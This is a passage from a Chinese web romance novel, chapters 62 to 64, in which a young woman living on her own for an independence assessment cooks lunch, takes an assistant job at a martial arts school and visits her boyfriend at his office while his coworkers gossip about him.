至于浴巾和吹风机,陶欣打算先自然风幹一下试试。 何况她还有一条毛巾呢。 周廷之不在,洗完澡要自己收拾浴室,清理地上的头发。 难以想象,小小的一间浴室,两个人一起进来都得撞屁股,收拾起来反倒更费劲,没有干湿分离,水溅的到处都是,墙上,地上,马桶上,置物架上,目之所及处都是湿漉漉的。 陶欣不是什么洁癖,但潮湿且不通风还没有阳光照射的厕所,会让她想到无限滋生的细菌,她实在无法忍受,只能用斥二十元巨资买的擦脸巾一点点把浴室擦干。 收拾完已经是八点钟,头发都要干透了,那颗蠢蠢欲动的色心都萎靡不振了。 【陶欣:哥哥QAQ】 【陶欣:我打算之后的二十八天都不洗澡了】 周廷之直接把視频打过来。 陶欣眼睛一亮,接起視频,见他还穿着家居服,正经人姿态,又萎靡下去,抱着手机尽情哭诉:“嗚嗚嗚嗚浴室太小了,好难收拾,我再也不要洗澡了……” “二十八天不洗澡不现实,一周洗一次还是可以的,我们以前上大学,没现在这条件,冬天不都是一周洗一次。”周廷之说完,注意到她还有些许潮湿的头发,后知后觉:“你没买吹风机?” “晾干也行。” “不行,容易感冒,吹风机一定要买的,楼下小超市应该就有,便宜的,大概几十块。” 陶欣趴到床上,看着手机里的周廷之。 周廷之也看着她。两个人对视片刻,都莫名其妙地笑了。 周廷之说:“你现在好像被赶出家门。” 陶欣深以为然地点一点头:“我正想说,要放在十八年前,我爸不同意我们俩谈恋爱,要棒打鸳鸯,把我逐出家门,那我差不多就是现在这个状态了。” “你还有剧情呢,不过我也没那么糟糕吧?叔叔干什么非要棒打鸳鸯?” “嫌贫爱富呗,万一我爸看走眼了呢,没看出您是一潜力股,一个穷小子当然配不上他的宝贝女儿了。” “那你怎么想?” “嗯?我肯定觉得能配得上啊,不是我追的你吗?” 周廷之笑笑:“我不是说这个,现在不是叔叔把你赶出家门了吗,你还是个学生,以后怎么生活?会不会迫于压力跟我分手?” 陶欣睁圆眼睛:“那当然是富贵不能淫,贫贱不能移,威武不能屈,我没背错吧?” “没背错,这想法也很好,你就当这是叔叔对你的考验,坚持一个月他就会同意我们俩的事了。” “少来了你,我爸凭什么考验我啊,要考验也该考验你啊。” “给我五百万叫我跟你分手那种考验吗?” “想得美,凭什么到我这就是赶出家门,到你那就是天降五百万。” “这叫对症下药。” 两个人闲聊一会,电话那端忽然传来小猫的叫声,周廷之笑了笑,翻轉摄像头,对准追赶打闹的两只小家伙。 陶欣眼睛盯着屏幕,看得很仔细:“陶剩剩好 坏,怎么又欺负妹妹。” 这一窝小猫只有周美美一个女孩子,所以周廷之才给它取名叫“美美”而不是“帅帅”,对于唯一的女孩,陶欣也是有几分偏爱,总叫它妹妹。 至于周廷之…… 摄像头翻转回来,陶欣说:“你还笑,有你这么做爸爸的吗?” 周廷之是小猫的爸爸。 周廷之从一开始就欣然接受了这个身份。 所以,才没办法接受那对粉红色的猫耳朵。 周廷之脸又热起来,他已经打定主意,只要陶欣不提,他就蒙混过关,等陶欣情绪不好的时候再故技重施。 这是吊着陶欣让她不停奔跑的胡萝卜,怎么能一下就叫她吃掉。 生怕小猫会让陶欣联想到猫耳朵,周廷之说:“明天早上我打算早起晨練,到时候打电话叫你。” “嗯?” “以陈平的性格,你早睡早起,坚持运动,他肯定会给你打高分。” “现在冬天欸。” “去附近公园转转也好,或者去寺里吃碗素面,就当早餐了。” “你说真的?那岂不是痛苦加倍呜呜呜……” 陶欣“呜呜呜”的声音很像小狗哼唧,听得周廷之心里痒痒,很想把她团成一团,揉一揉。 “你这样想,我们能一个月不见面吗?” “不能……” “也就是说在我身上,你大概率是要扣分的,所以要想办法在其他地方加分。” “有道理……” “那,六点半好吗?” “呜呜……好吧……” 即便出生于1982年,陶欣也是个二十出头的年轻人,她的生活方式和节奏都与当下年轻人别无二致,之前的某一段时间,周廷之不仅担心她嫌自己“长气鬼”,还担心她嫌自己老土,因此特意在网上搜索年轻人如何谈恋爱。 其中有一项“连麦睡觉”,让周廷之很不理解。 都睡着了,还开着语音视频,有什么意义? 现在轮到他身上才终于明白,开着视频,每一分钟都那么开心,实在难以面对视频挂断后只有一个人的夜晚。 陶欣也一样。 快要睡着的时候,还晕晕乎乎地问他:“我是不是太粘你了……有点腻歪……” “不会。”周廷之没办法说出想要“连麦睡觉”的请求,就只能说:“不要挂断,视频开着吧。” 一直到上午八点,视频才自动挂断。 周廷之看着屏幕里的[通话中断12:00:02],自己都觉得很不可思议。 这要是被陈平知道了,大概率要狠狠扣分。 周廷之截了张图,照旧发朋友圈,仅李崇可见,随后才叫陶欣把聊天记录清空,以免管理局突击检查。 陶欣听他的话,把聊天记录全删了,在寺里吃完素面,慢悠悠地往武术馆走。 虽然现在是过年期间,但武术馆里仍有教練在上课,馆长自然也在,看到陶欣来了,又惊喜又意外,足以看出小曼没有跟这个叔叔事先通过气。 知道馆长的性格,陶欣没有拐弯抹角,直说了自己最近缺钱,问馆长有没有学员可以给她带。 馆长先是一惊,随即一喜,略有些期待地问:“你跟周总分手啦?” “……没有。” “那你这是?” 昨天晚上编的故事,今天竟然派上了用场。 “我家里不同意我和他谈恋爱,觉得我还是个孩子,不懂事,不成熟,所以我就想证明给家里人看,我完全可以靠自己,独立的在这个社会上生活。” “这样啊……” 馆长想了想说:“现在只有金牌班的学员在上课,我只能暂时安排你做个助教,工资嘛肯定不会很高,一节课十五,日结,管午饭,怎么样?” “可以!” “行,那我看看今天下午就让你跟一节。” 助教的工作没陶欣想象中那么容易。 李教練带的金牌班学员,明明是少儿组的比赛选手,个子却只比她矮半头,一脚踢过来都带一阵风。如果说做女子防身术班的教練是要时刻小心,以免小姑娘们受伤,那做这位仁兄的陪练,就得时刻小心,避免自己受伤。 陶欣用护具挡住他挥过来的拳,终于听到李教练喊停。 李教练笑道:“有助教就是好啊,之前纠动作要录好几遍视频,反反复复看,现在一次就知道问题出在哪了。” “拿了冠军可别忘了我这个人肉沙包。” “你还人肉沙包呢,不是我说,躲得也太快了,给我们家小宝都打红温了。”李教练说着,扭头去训徒弟:“犟啊!再犟!光劲儿大有什么用!告诉你一百遍了!速度上不去就是让人当猴耍!还跟我犟!” 李教练骂人是真凶,小男孩握着两个拳头,面红耳赤,两眼泪汪汪,一副强忍着不哭的模样,看着就叫人心疼。 可是学真功夫都难免要挨师父骂,陶欣只能装看不见,转过身喝水。 “陶教练。” 陶欣看过去,见是陆晨,笑一笑:“陆教练,过年好啊。” 陆晨也笑了:“馆长说你在闹独立,怎么赶大过年的闹独立?” “这叫新年新气象。” “有什么需要帮忙的吗?” “要人帮忙还叫闹独立吗?” “也是,那祝你成功。” 简单聊两句,陆晨就走了,没有表现出任何不寻常。 陶欣对他的警惕心也随之降到最低点,不过还是把在武术馆见到他的事如实向男朋友做了汇报。 周廷之过了一会才回复她,是一张图片,一贯用来勾引她的那种图片。 【周廷之:奖励】 【周廷之:再接再厉】 第63章 第63章周廷之伸出手臂,一把接…… 管理局是个独立的保密单位,陈平作为局长,在陶欣独立考核规则制定和考核评分这两件事上,可以说有着决定性的话语权。 而陶欣在经历了一天的独立生活后,也不得不承认陈平确实有点東西,一眼看透她过于依赖监护人的本质。 按照陈平新潮又老古板的思想,自然是认为女性应当清醒独立,具备一切生活技能,就算哪天被人骗光了家产,身无分文,流落街头,也能想办法弄一口饭吃,不至于心如死灰的去跳楼。 陶欣完全理解陈平的一番苦心,可与此同时,她并不覺得自己依赖周廷之有什么不对。 周廷之是她的爱人,是她的家人,是值得她托付身心的人。 因为有这个人的存在,她可以躲在她的羽翼下,慢慢长大,慢慢成熟,可以在二十一岁尽情的享受恋爱,制造美好的回忆。 快乐和痛苦都是长大的养分,未必浇灌太多快乐就会长成弱不禁风的花,未必浇灌太多痛苦就会长成根深叶茂的树,更何况花也有一生一次的盛开,野草的种子也有比树顽強的生命力。 陶欣知道自己长得很好,只要不是死的很彻底,总能春风吹又生,所以她不怕那些人生中注定要经受的严寒酷暑,她要握紧当下的阳光和雨露。 【陶欣:我想到既能和你见面又不会拉低评分的办法了!】 【周廷之:[小兔子竖起耳朵jif.]】 【陶欣:在局长大人看来,我的问题无非就是不够独立,太依赖你,缺少生活自理能力】 【陶欣:那从即日起,我将自己做饭,我不仅自己做饭,我还给你做饭】 【陶欣:[圖片]】 【陶欣:铛铛!快选一个便当盒!】 陶欣在超市,她原本来超市是为了買一袋卫生纸,闲逛的时候,看到货架上摆了好多便当盒,或许是因为附近有小学,超市的便当盒都是非常可爱的款式,红色的樱桃小丸子,黄色的海绵宝宝,蓝色的哆啦A梦,还有粉色的HelloKitty。 陶欣知道周廷之一直为她给李崇做过早餐这件事耿耿于怀,看到便当盒的一瞬间就想到了这个绝妙的主意。 聊天框上端,正在输入中持续了很久,陶欣等了好一会,才收到周廷之的回複。 【周廷之:要自己做饭的话,可能需要買个电炒锅,电饭锅,洗菜盆,菜板,菜刀,锅铲,餐具,大米,食用油,各种调料,这可是一笔不小的开销】 【陶欣:我想过了!你看陈平给我的钱,就算我什么都不做,每天躺在床上点外卖,也足够我生活一个月,可这能證明我有自理能力?】 【陶欣:所以我必须要做长远打算,那自己做饭肯定是比每天 在外边吃省钱,前期投入就很有必要,再说我现在也能赚钱了[得意]】 【周廷之:[抱抱jpg.]】 【周廷之:你考虑清楚了我就支持】 陶欣从聊天记录里发现一点不寻常的地方。 【陶欣:你哪来的表情包哇?】 【周廷之:在网上搜的,我还有好多】 【周廷之:[你好上网就是为了等你jpg.]】 【周廷之:[在嘛!我有亿点想你!jpg.]】 【周廷之:[亲亲宝宝jpg.]】 【周廷之:[老婆我来啦jpg.]】——[撤回] 虽然他撤回的很快,但陶欣还是看到了那个小猫吐舌头的表情包,打心眼里怀疑周廷之又在故意勾引她。 可周廷之很快又是一副正经人面貌。 【周廷之:可是你住的地方离公司十五公里,做地铁要二十站,中间还要换乘,会不会太辛苦……】 【陶欣:你不想见我吗?】 【周廷之:那要哆啦A梦的[爱心]】 三十八岁的周廷之日益可爱,再也不是之前成天盯着监控的变态了。陶欣对此深感欣慰,如果说爱人如养花,那她真是把周廷之养的很好啊! 将哆啦A梦的便当盒放进购物车里,陶欣又去挑选做饭的工具。 毕竟是和吃进嘴巴里的東西相关,陶欣不敢買太便宜的,贵的又怕超预算,所以不管什么都只选中等价位,饶是这样,光一个电炒锅和一个电饭锅就花了六百块,再加上什么菜刀锅铲一大堆零零碎碎,花了陶欣小一千块钱。 在收银台付完款,陶欣截了一张余额发给周廷之。 【周廷之:资产缩水速度太快了[发呆]】 【陶欣:我还没买米和油呢,这家超市的米和油都是超大的,感覺可以吃一年[微笑]】 【周廷之:挺好的,后面你就不需要再花什么钱了】 【陶欣:首先得有钱才能花钱[嘻嘻]】 【周廷之:買这么多東西你怎么拿回去?】 【陶欣:好问题[发呆]】 难怪之前听姚雪娜叫她阿呆,周廷之现在覺得这个称呼还真是贴切。无法控制的嘴角上扬,周廷之在手机这边给她出谋划策。 刚输入到一半,陶欣发来一个小狗蹦蹦跳的表情包,紧接着又说:【哦耶!解决了!】 周廷之删掉聊天框里的文字,重新输入:【怎么解决的?】 这次陶欣直接发来了一段语音:“刚好在超市门口遇到了陆教练,他来买東西,正好可以幫我送回去!” 背景嘈杂,隐隐约约能听到一个男人的声音:“没有什么怕碎的东西吧?” 周廷之抿紧唇,笑意尽失。 他不相信除自己以外任何异性和陶欣的偶遇会是单纯的巧合。 陶欣也覺得很巧,转过头问陆晨:“你怎么来这买东西?” 陆晨笑了笑说:“我就住这附近啊。” “啊?你家不是在……” “我一直都是在这附近住的,偶尔才回家住,不然天天往返一个小时通勤,累也累死了。” “那倒也是。” “你买这么多锅碗瓢盆是要自己做饭?” “对啊,独立嘛。” 陆晨笑了笑:“是,独立第一步就是要自己做饭,你都买什么了,我幫你查缺补漏一下。” “我看看啊。”大部分东西都在陆晨手里提着,陶欣勉強腾出一只手,把自己的购物清单大概複述了一遍:“就这些。” “洗洁精呢?做完饭不刷碗吗?” “……我待会再下来买吧,还得买刷碗布……” “刷碗布我之前囤了好多,可以分给你几条。” “不用不用,我自己买。” “也行,你记得买那种一面是绿白条,一面是颗粒,中间有海绵的刷碗布,真的很好用。” “OK!感谢前辈给我传授经验。” 超市离陶欣的住处不远,走路也就是五分钟的脚程,两人闲聊的功夫就到了门口,陆晨把东西放在门边,在陶欣拿钥匙准备开门的时候说:“那我就先走了。” “拜拜。”陶欣朝他挥挥手,笑着说:“明天請你喝奶茶。” 陆晨笑了声:“喝雪王就行。”他说完,三两步下了楼。 听到单元门关闭的声音,陶欣打开门锁,来回三趟才把东西都提进去。 太重了,真累啊……房子里没有椅子和沙发,陶欣不想穿着外边的衣服坐到床上,只能坐在行李箱上休息。 轻舒了口气,拿出手机,拨通视频。 周廷之一下子就接了起来。 “到了?” “嗯!先歇一会再收拾,还要再下楼去买洗洁精和洗碗布呢。” 陶欣进厨房的次数大概一只手都能数得过来,她绝对不会突然间想到这么周全。周廷之问:“是陆晨提醒你买的?” “咦——”陶欣忽然凑近镜头,眯起一只眼睛,略有些探究的表情:“你怎么回事?又在乱想?” “……那么巧在超市门口遇到。” “他住这附近,这附近大一点的超市就这一家嘛。” “你是从武术馆出来直接去的超市,你有没有在武术馆说过你要去超市?” “这能说明什么?” “我要是存心和你制造偶遇,知道你要去超市,我就在外边等着,万一能帮你提东西呢?” 陶欣忍不住笑:“原来你是在以己度人啊。” 周廷之一本正经:“你笑什么?我是合理推测,請你重视起来。” “拜托,到底哪个在定义直男,我感觉你们的心眼可比女人密多了。” “古往今来都是这样,你看历史上争权夺利勾心斗角的,大部分都是男人,所以你不要觉得哪个男人很单纯很天真,这都是刻意在你面前装出来的假象,为的就是降低你的防备,伺机而动你懂不懂。” 虽然周廷之说的很有道理,但陆晨确实从始至终都没有任何超出同事界限的举动,两个人的距离本来就不近,何谈远离? 陶欣笑笑,故意抻长声:“哦——都是装出来的呀——伺机而动呀——你这么懂?” 周廷之抿了下唇,镜头微移,在屏幕里短暂的消失了几秒。 “喂,承认吧,你那时候就是和许文涛串通好了,故意让他把你的行程透漏给我的。” “许文涛是谁?我只知道许文强。” 回到镜头前的周廷之,还是那么一本正经的样子。 一本正经的耍赖。 陶欣睁圆眼睛:“好啊,亏你说得出来!你们不是号称最好的朋友吗,是谁去公园遛弯都得跟他汇报一下啊。” 周廷之笑起来:“你才是我最好的朋友。” “哼。” “生气了?” 陶欣绷着脸,瞳仁乌黑,像含着一汪水:“承认你那时候也喜欢我很难吗?” 周廷之受不了她这样,沉默了一瞬,终于说:“……我不是,不想你觉得我心机深吗,而且那时候,追你的男生那么多,我怕你觉得我和他们没区别。” 陶欣强忍着笑,还是又委屈又生气的口吻:“那我当时要是没有主动追你的呢?” “那就换我和你主动制造偶遇。”周廷之顿了下一说:“比如在超市门口遇到这种……所以你说我以己度人,我也没有否认不是吗?” “很好,问题来了,如果当时跟你制造偶遇的人不是我,而是另一个女生,你会和她在一起吗?” “当然不会。” “所以重点是偶遇吗?” “……” “别说陆晨未必有这个意思,他就是有这个意思又能怎么样呢?姐姐身边有几个追求者不是很正常吗?” 陶欣忽然自称姐姐,并不是为身边有几个追求者和洋洋自得,而是因为很久之前,她说过一模一样的话。 那时候她的确是姐姐,是身边追求者犹如过江之鲫的舞蹈学院校花。 周廷之不得不承认,跟当年相比,现在这一两个追求者根本不够看。 “再说了。”陶欣话锋一转:“是谁叫我多交朋友的?” “……” “孟和光可以 陆晨就不可以吗?” “都不可以。” “哼。” 周廷之软声和她商量:“我再也不提李崇的事了,你也别提这件事,行不行?” 太行了呀!陶欣真没想到还有这种意外收获。克制住嘴角的笑意,她勉勉强强地答应:“那行吧,那以后都不提了。” “嗯……晚上打算吃什么?” “我准备做一个素炒香菇,一个辣椒炒鸡蛋,网上说这是翻车几率为零的两道菜。” “待会下楼再买个剪子吧,用剪子处理香菇杆比较方便,也安全。” “好哦。” 在周廷之的远程帮助下,陶欣完成了她第一次亲手做的晚餐,成果还不错,在做饭这件事上,陶欣其实蛮有天赋的。 转眼到了大年初八,複工的第一天。 年假刚结束,员工们的心还没收回来,一早进公司都萎靡不振的,像被狐狸精吸了精气。 只有周廷之心情好,待人温和,眼含笑意,再也不是放假前一天满脸山雨欲来的他了。 茶水间里,有人吐槽:“资本家没人性啊,复工高兴成这样,人家是打了鸡血,我看他是打了氢气,都要飘起来了。” “我赌他不是因为复工才这么高兴,恋爱中的男人,你懂得。” “欸,你们怎么还在这泡手冲啊,没看部门群里的消息吗?复工第一天,周总請大家喝咖啡,想喝什么赶紧发群里,十点截至。” 茶水间的人发懵,匿名群里的人也发懵。 【咋了这是?】 【嘿嘿嘿管他呢,有免费的咖啡喝嘿嘿嘿】 【我将永远拥护ztz】 【霸道总裁谈恋爱的甜头也是让我们吃上了[呲牙]】 【ztz这个状态怎么让我觉得似曾相识……】 【↑细说】 【我想起来了,我跟我老公异地那段时间,每次见面前都是他这状态,真的家人们!只可意会!】 【秒get】 【这是我进公司以来,开过最愉快的例会】 周廷之心情好是有目共睹的。本来复工第一天工作节奏就很慢,大家都很清闲,又赶上老板请全公司喝咖啡这种罕见事件,凑到一起难免东拉西扯几句,主打一个法不责众。 周廷之从会议室出来,路过办公区,恰巧听到有人说:“是不是扯證了?扯證就请一杯咖啡好像有点小气啊。” 周廷之从不偷听员工的墙角,脚步不停,进了办公室。 可无意间听到的那句话还在他心里盘旋。 扯证,结婚证。 真到那一天当然不会只请一杯咖啡了。 要发喜糖,巧克力,贵一点的。 周廷之这么想着,竟然真的拿起手机开始搜索巧克力礼盒,等他反应过来的时候已经对比了十几款,并且计算完每一个款的价格。 现在想这些……太早了…… 不过他是绝对不会在这件事上让员工说他小气的。 他可以做一个小气的人,但给陶欣的婚礼,一定要极尽风光。 周廷之转了一下手机,又返回主页,保存了最贵的那一款巧克力礼盒。 十一点,陶欣发来一张便当的圖片,和一张与陈平的聊天记录截图。 【陶欣:天才如我,我要说做好饭叫你来吃,陈平肯定以为你来得帮我收拾厨房,打扫卫生什么的,不可能吃了饭就走】 【陶欣:我给你送午饭,他还有什么好说的[得意]】 【周廷之:[亲亲宝宝jpg.]】 【周廷之:出发没?】 【陶欣:已经出门了!】 【周廷之:我去地铁口接你好不好?】 看到周廷之发来的消息,陶欣像是掉进了蜜罐子里,风是甜的,呼吸也是甜的,明明是阴天,可她却觉得很温暖。 抱着装在保温袋里的便当盒,陶欣脚步愈发轻快,有一种听着音乐跳华尔兹的感觉。 周廷之收到陶欣的回复。 【陶欣:好呀】 【周廷之:进地铁站了吗?】 【陶欣:嗯!】 【周廷之:也不知道地铁上有没有座位】 【陶欣:[图片]】 【陶欣:还好!这边比较偏,人不是很多,估计换乘一号线的时候人就多了】 【周廷之:戴好口罩了吗?】 【陶欣:[图片]】 【陶欣:全副武装!】 【周廷之:可爱】 【陶欣:你不用工作吗?怎么一直秒回】 【周廷之:不想你来找我的路上太孤单】 周廷之偶尔会跳出男朋友的身份,以父亲的角度看待陶欣的所作所为,就比如现在,他想着陶欣从上午就开始忙碌,辛辛苦苦两三个小时,精心准备了爱心便当,在零下十几二十度的天气里,一个人,抱着便当盒,顶着寒风去地铁站,坐十几站地铁,还要换乘…… 周廷之光是想一想都觉得很心酸。 可他真的很想见陶欣。 虽然这三天晚上都是连着视频睡觉,但那种听到呼吸和呓语,想伸手把她搂到怀里,却只摸到一片冰凉的滋味,实在很难过。 这和前年那次出差相比又是另一种感觉。出差的时候好歹有个盼头,只要早点完成工作,就能早点回去。 现在想来,一周倒也很快。 周廷之看了眼时间,距离陶欣坐上地铁才过去仅仅五分钟。 这样的日子,还要过二十六天。 陶欣每到一站,都给他拍一张照片。周廷之掐着时间,计算着陶欣还有多久到,提早五分钟坐电梯下楼。 十五楼的秘书看到他拿着大衣离开,忙站起身说:“周总,十二点半有和龙城方面的线上会议。” “我知道,我一会就回来。”他说完匆匆走了。 秘书有点懵,周廷之明显是要离开公司的,现在正是吃午饭的时间,他一个人肯定没必要去外边吃,如果和人约了饭局,那十二点半哪里能赶回来? 周廷之下到一楼,穿过大厅。 穿着制服的保安替他推开门,礼貌的打了声招呼:“周总。” 周廷之的视线短暂离开手机屏幕,点头示意。 保安眼看着他走到路边,直奔马路对面的地铁站,那令人艳羡的,总是风度翩翩的成功男人,是小跑着进了地铁站。 周廷之在人群里寻找陶欣的身影,几乎是陶欣一出现,他就看到了她。 即便穿着黑色的羽绒服,戴着医用口罩,陶欣在人群里也非常显眼,那双漂亮的眼睛,四下张望。 她的视线经过他的方向,猛地停下,穿过人群朝他跑来。 周廷之伸出手臂,一把接住她,紧紧搂住她的腰,倒退两步。 “呜呜呜呜……”陶欣又发出类似于小狗的哼唧声:“好想你啊哥哥。” 周廷之脸埋进她颈间,声音闷闷的:“我也是。” “怎么才三天啊……” 周廷之不敢附和她了 ,两个人都这么萎靡不振,日子还要不要过。 周廷之站直身,笑一笑:“很快了。” “你觉得很快嘛……” “走吧,去我办公室。” 周廷之接过便当,牵着她的手,看着她泪盈盈的眼睛,心里真是像有把刀子在里面翻搅。 周廷之移开视线,怕再看陶欣,他也会忍不住哭出来,这么大年纪了,跟小女朋友在地铁站里抱头痛哭算怎么一回事。 得说点开心的事。 可是能分享的都在微信里分享过了,周廷之绞尽脑汁,发现自己没跟陶欣说的只有琴姨今早回来了这一件事。 他没说,当然是因为不能说。 握着陶欣微凉湿润的手,摸到她无名指上小巧的钻戒,周廷之忽然想到自己无意间听到的闲话。 “你知道吗,今天复工第一天,我看大家都无精打采的,就请公司这些人喝咖啡,结果他们在背后说我是领证了才请客,还说我小气。” “领什么证?”陶欣问完,一下子反应过来,脸颊微烫:“哦……” 周廷之笑笑,知道她反应过来了,还是回答:“结婚证啊。” “我知道啦,不过他们也太奇怪了,谁结婚还会偷偷摸摸的结。” “是啊,领证肯定也不会只请一杯咖啡。” 陶欣黑亮的眼睛看向他,终于有了笑意。 第64章 第64章出事之后他很长时间都没…… 便当盒外邊有一层保温袋,打开以后饭菜还是温热的,而便当盒的四个格子里分别是青椒炒肉、口蘑炒芦笋、丝瓜炒虾仁,还有上方摆了一个桃心形状胡萝卜的米饭。 周廷之忍不住看了眼一旁满脸期待的陶欣。 “看什么,快吃呀,不难吃的。” “我知道不难吃。” 周廷之拿出手机,抽了张纸巾擦擦摄像头:“我拍张照再吃,留个纪念,你可不可以配合一下?” 陶欣笑起来,心领神会地坐到他对面,捧起便当盒,微微歪着头:“ok嘛?” 周廷之这会才注意到,陶欣扎高马尾的发绳上有一个哆啦A梦的圆脑袋,不由得弯起嘴角:“嗯,很漂亮。” “拍好啦?让我看看!” 周廷之把手机递给她。 陶欣两指张开,将屏幕里的照片放大,嘟了嘟嘴:“我今天没化妆,离这么近你还用原相机,黑眼圈好明显啊。” 其实在注意到陶欣的发绳之前,周廷之就注意到了她眼下淡淡的青黑,很明显,陶欣这两天晚上也没太睡好。周廷之刻意不提,怕一提起来陶欣又陷入悲伤的情绪无法自拔。 “那我用美颜相机重拍一张。” “算啦,你快点吃饭吧,不然该凉了。” 陶欣把手机放下,又露出期待的神情:“尝尝怎么样,我感觉味道还是很不错的。” 小学生用的便当盒,自带餐具,只是过于迷你,筷子还没有周廷之的手长,他那样捏着看起来略显滑稽。 陶欣看他夹了块芦笋吃,眼巴巴地盯着他。 “……” “怎么不说话呀?不好吃?” “好吃,我只是觉得單單夸一句好吃有点太敷衍了,在思考怎么才能夸的深刻又到位。” “那也你思考太久了。” 周廷之笑了笑:“不骗你,我事先做好了难吃的准备,想着你今天就算打死卖盐的,我也全吃幹净了再替你去收尸。” “哼哼。”陶欣得意地托着脸:“小瞧人了吧。” “确实是人不可貌相,我刚才那一口吃下去脑袋都有点发懵了,没想到竟然真的很好吃,比我做的味道好多了。” “我说好吃你还不信呢。” “我以为你对自己的厨艺水平有滤镜,主要是你做饭手忙脚乱的,隔十几秒就得瞄一眼菜谱,调料直接拿着瓶子袋子往里面倒,看得我都心惊胆战……” “这就是天赋呀,看似豪放,实则呢,在细节上掌握着分寸。” 陶欣趴在桌子上,很得意的模样,让周廷之莫名幻视出她有一条小狗尾巴,正不停摇啊摇。 周廷之看了眼墙上的时鐘,还有两分鐘十二点,线上会议的时间是十二点半,需要提前五分鐘去会议室做准备。 仔细品尝过味道,周廷之默默加快了进食速度。 虽然他没有到狼吞虎咽的程度,但陶欣还是感觉出他今天吃饭比平时快很多,便说:“你慢点呀,待会胃该难受了。” “我十二点二十五要去会议室。” “现在不是才十二点吗。” 陶欣偶尔会反應迟钝,显露出一种稚嫩的纯情。 周廷之看着她:“你下午是不是有课?几点?” “本来是两点半,李教练说改两点了,赚这十五块钱真不容易啊。”陶欣正感慨着,发现周廷之放下筷子,盖上了便当盒:“欸,你不吃了吗?” “开完会回来再吃。”周廷之说着便起身去了洗手间。 陶欣微怔,走过去,见他在刷牙,从背后搂住他的腰,声音软软地说:“有件事忘了告诉你。” “嗯?” “我例假提前来了。” “……” 周廷之弯下腰,漱口,顺手洗了一把脸,才转过身说:“难怪你这两天情绪这么坏。” 他脸上挂着水珠,睫毛簇湿,很像某些特定时刻后的样子。陶欣很轻易就被他勾起欲望,环住他的脖颈,踮起脚吻他。 白桃清香的味道,温热柔软,丝丝甜意。 周廷之一手撑着洗手台,一手搂紧陶欣,两个人的身体无限贴近。四周静静,唯有水声,喘息声,布料摩擦声,在不可能得到满足的此刻,这一切声音都显得极端色/情,呼吸也逐渐黏稠,湿热。 周廷之身体的反應,已经不是冬季衣物可以掩盖。 陶欣推开他,对上他沉浸在欲望中迷离的双眸,轻喘着说:“你待会还要去开会呢,这么出去吗?” 周廷之抬起她手腕,智能手表上显示着明确的数字,是周廷之怎么都没想到的数字——12:20 他平复呼吸,看着陶欣微紅的面颊:“你是不是开了什么时间加速器?” 陶欣被周廷之那样一本正经的质问逗笑:“我要是能控制时间,这时候肯定开暂停。”说到这里,压低声音,凑到他耳边:“就像小电影里那样,在你不知道的时候,帮你……” 周廷之没有让她把话说完,扳过她的肩膀,很果断的将她推出洗手间,毫不犹豫关上门。 五分鐘时间,陶欣不知道周廷之怎么冷静下来,总之他出来的时候,大体看上去还算平平常常,只有嘴唇略微红肿一点。 “我去开会了。” 陶欣没说话,现在难受的不止周廷之一个人。 周廷之看着她,又过来用力抱了她一下:“带没带卫生巾?需要换的话就去外邊管秘书借,她们應该有。” 陶欣脸一紅:“我自己带啦,你快去吧,怎么什么事都操心。” 墙上的时钟已经显示十二点二十六分,周廷之不得不走了,他推开门,宋秘书正等在外邊,视线往他脸上一扫,很自然的移开:“周总,人都到齐了。” 周廷之特殊注意了宋秘书的神情,见她没有任何异样的表现,微不可察地松了口气,这才大步流星的朝着会议室走去。 周廷之走得匆忙,只穿着衬衫西裤,正装外套还搭在沙发上。 陶欣拿起他的外套,本来想帮他挂起来,可是指尖抚过领口,心中没由来的一动,将脸埋进去,长吸了一口气。 周廷之身上的味道,一直都是淡淡的蜜桃味,他的沐浴露,牙膏,全都是桃子味,像女孩子一样幹净香甜。 对于一个男人来说,这是需要付出时间和精力的。 陶欣知道他怕自己身上沾染浑浊的烟臭味,出去应酬都刻意离那些抽烟的人很远,一贯喜欢同女士们坐到一邊。 陶欣笑一笑,将他的衣服挂起来,仔细整理 好。 而另一边,匿名群里正热闹。 【我真笑了,ztz好像亲嘴亲一半被拽过来开会】 【他是不是以为别人都看不出来呢?】 【恋爱中的男人啊,他现在幹出多离谱的事我都不会感到惊讶了】 【他喵的,我上午还说,ztz的瓜我都有点吃腻了,有没有什么新鲜事可以扒一扒,这老小子,转头就给我来一个接吻门,真是打定主意要常驻在我们hs娱乐头条啊】 【ztz:谢邀,刚吃了麻辣烫,加麻加辣】 【呜呜呜呜什么时候散会啊,我去十五楼蹲点能看见不,我太想亲眼看看了】 【知道为啥十二点半就开会不?是因为不想大过年的耽误我们下班[微笑]等散会ztz嘴都消肿了个屁的[微笑]】 【确实,龙城这帮人是真能开会啊,坐那么长时间屁股不疼吗】 【我真的笑不活了家人们,ztz开会摸鱼啊,偷偷摸摸在底下回消息哈哈哈哈哈哈我头一次见这么摸鱼的,太明显了吧,他心虚啥啊,光明正大在桌面上回不好吗哈哈哈哈哈哈】 【救命他不知道摸鱼得用笔电吗】 【ztz:见笑了家人们,第一次摸鱼没经验】 【不过也真是奇怪,他这恋爱怎么越谈越黏糊啊,这才刚分开几分钟啊】 【小老板娘走了,估计是给他发消息了呗,女朋友发消息就算跟财神爷开会也包回的[强]】 【我男朋友再说他忙没时间给我回消息我就干死他^_^】 陶欣下了楼,还是坐地铁回去,知道周廷之在和龙城的甲方开会,只发微信告诉他一声就没再继续回复了。 路途还是十五公里,地铁还是二十站,中间还是需要换乘。 来的时间和回去的时间应该是一样的才对。 可是陶欣站在車门旁,莫名觉得这一分一秒过得变很慢。 换乘到下趟車,找到位置坐下。陶欣翻看起和周廷之的聊天記录,不断上划的指尖停留在那句“不想你来找我的路上太孤单”。 二十分钟,完全不够。也过得太快了,感觉比被闹钟吵醒后的“再睡一会会”还要快。 “你好……” 陶欣抬起头,一个穿着黑色羽绒服的男生站在她面前,有点腼腆羞涩的样子:“在二号线上,我就和你一个車厢……可以认识一下吗?” “不好意思,我有男朋友了。” “那,加个微信可以吗?等你和男朋友分手,我或许有机会?” “抱歉,不可以。” “……打扰了。” 被拒绝的男生退回到車厢另一边,垂头丧气地走向两个同伴。 陶欣看他们三个,最多还在上高中,看着还没周念年纪大。虽然陈平严禁她混淆年龄,但陶欣还是忍不住想,自己上大学谈恋爱的时候,这三个小男生大概率刚达到受精卵的形态。 哎呀,又来,不能这么想不能这么想不能这么想…… 陶欣在心里背了几遍出生年月日和属相,深吸一口气。 手机在掌心震动,是正在开会的周廷之发来消息,陶欣低头看一眼,噗嗤一声笑出来。 【周廷之:快给我开时间加速器】 